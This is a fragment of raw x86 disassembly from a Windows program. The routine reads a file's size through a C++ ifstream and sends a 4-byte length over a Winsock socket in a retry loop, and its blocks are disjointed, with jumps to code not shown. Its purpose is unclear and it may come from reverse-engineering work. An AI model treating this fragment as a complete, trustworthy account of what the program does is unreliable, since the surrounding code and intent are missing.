call dword [sym.imp.MSVCP90.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
lea ecx, [esp + 0x304]
push ecx
mov ecx, 0x414ea0
call dword [sym.imp.MSVCP90.dll_public:_class_std::fpos_int____thiscall_std::basic_istream_char__struct_std::char_traits_char__::tellg_void_]
mov edx, dword [eax]
mov dword [0x414e88], edx
mov ecx, dword [eax + 4]
mov dword [0x414e8c], ecx
mov edx, dword [eax + 8]
mov dword [0x414e90], edx
mov ecx, dword [eax + 0xc]
mov dword [0x414e94], ecx
mov edx, dword [eax + 0x10]
mov dword [0x414e98], edx
mov eax, dword [eax + 0x14]
mov dword [0x414e9c], eax
sub esp, 0x18
mov eax, esp
xor edi, edi
mov ecx, 0x414ea0
mov dword [esp + 0x4c], esp
mov dword [eax], edi
mov dword [eax + 8], edi
mov dword [eax + 0xc], edi
mov dword [eax + 0x10], edi
call dword [sym.imp.MSVCP90.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::seekg_class_std::fpos_int__]
xor eax, eax
xor ecx, ecx
mov dword [0x414e70], eax
mov eax, dword [esp + 0x48]
mov dword [0x414e78], ecx
mov ecx, dword [esp + 0x58]
xor edx, edx
mov dword [0x414e74], eax
mov eax, dword [0x414e90]
mov dword [0x414e7c], edx
mov edx, dword [0x414e88]
mov dword [0x414e84], ecx
push 0xa
lea ecx, [esp + 0x17d0]
add eax, edx
push ecx
xor esi, esi
push eax
mov dword [0x414e80], esi
mov dword [esp + 0x3c], eax
call dword [sym.imp.MSVCR90.dll__itoa]
add esp, 0xc
lea edx, [esp + 0x17cc]
push edx
lea ecx, [esp + 0xdf4]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
push 2
mov byte [esp + 0x23170], 0x55
call fcn.00407cc0
add esp, 4
test al, al
jne 0x40566e
lea ecx, [esp + 0xdf0]
mov byte [esp + 0x2316c], 0x51
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0x11c4]
mov byte [esp + 0x2316c], 0x50
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_ifstream_char__struct_std::char_traits_char__::vbase_dtor_void_]
lea eax, [esp + 0x20]
call fcn.0040a5a0
lea ecx, [esp + 0xd80]
jmp 0x40453f
mov eax, dword [esp + 0x30]
push eax
call dword [sym.imp.WS2_32.dll_htonl]
mov ebp, dword [sym.imp.WS2_32.dll_send]
mov dword [esp + 0x30], eax
xor esi, esi
mov eax, dword [0x414524]
push edi
mov ecx, 4
sub ecx, esi
push ecx
lea edx, [esp + esi + 0x38]
push edx
push eax
call ebp
cmp eax, 0xffffffff
je 0x40562f
add esi, eax
cmp esi, 4
jl 0x405685
push 0x1f4
call ebx
call fcn.00406530
mov byte [esp + 0x2316c], 0x51
lea ecx, [esp + 0xdf0]
test al, al
jne 0x4054c9
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0x11c4]
mov byte [esp + 0x2316c], 0x50
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_ifstream_char__struct_std::char_traits_char__::vbase_dtor_void_]
lea eax, [esp + 0x20]
call fcn.0040a5a0
lea ecx, [esp + 0xd80]
jmp 0x40453f
call fcn.00406530
test al, al
jne case.0x4026f6.2
jmp 0x403694